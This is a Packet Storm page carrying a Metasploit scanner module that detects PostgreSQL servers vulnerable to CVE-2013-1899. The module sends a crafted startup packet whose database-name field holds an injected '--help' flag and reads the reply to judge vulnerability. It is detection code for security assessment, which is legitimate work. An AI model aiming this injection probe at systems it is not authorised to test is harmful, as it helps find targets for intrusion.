what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PostgreSQL Database Name Command Line Flag Injection

PostgreSQL Database Name Command Line Flag Injection
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are vulnerable to command-line flag injection through CVE-2013-1899. This can lead to denial of service, privilege escalation, or even arbitrary code execution.

tags | exploit, denial of service, arbitrary, code execution
advisories | CVE-2013-1899
SHA-256 | 85635e053df5e304bbf5196ce9efa74067c05cc8dd4eb7e8f6f3808c60813a49

PostgreSQL Database Name Command Line Flag Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL Database Name Command Line Flag Injection',
'Description' => %q{
This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are
vulnerable to command-line flag injection through CVE-2013-1899. This
can lead to denial of service, privilege escalation, or even arbitrary
code execution.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1899' ],
[ 'URL', 'https://www.postgresql.org/support/security/faq/2013-04-04/' ]
]
))

register_options([ Opt::RPORT(5432) ])
end

def run_host(ip)

request =
"\x00\x03\x00\x00" +
"user\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00" +
"database\x00" +
"--help\x00" +
"application_name\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00\x00"

connect

probe = [request.length + 4].pack("N") + request

sock.put(probe)
resp = sock.get_once(-1, 5)

if resp.to_s =~ /process_postgres_switches/
proof = resp[4, resp.length-4].to_s.gsub("\x00", " ")

print_good("#{rhost}:#{rport} is vulnerable to CVE-2013-1899: #{proof}")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => 'postgres',
:name => self.name,
:info => "Vulnerable: " + proof,
:refs => self.references
})
elsif resp.to_s =~ /pg_hba\.conf/
print_error("#{rhost}:#{rport} does not allow connections from us")
else
print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")
end
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close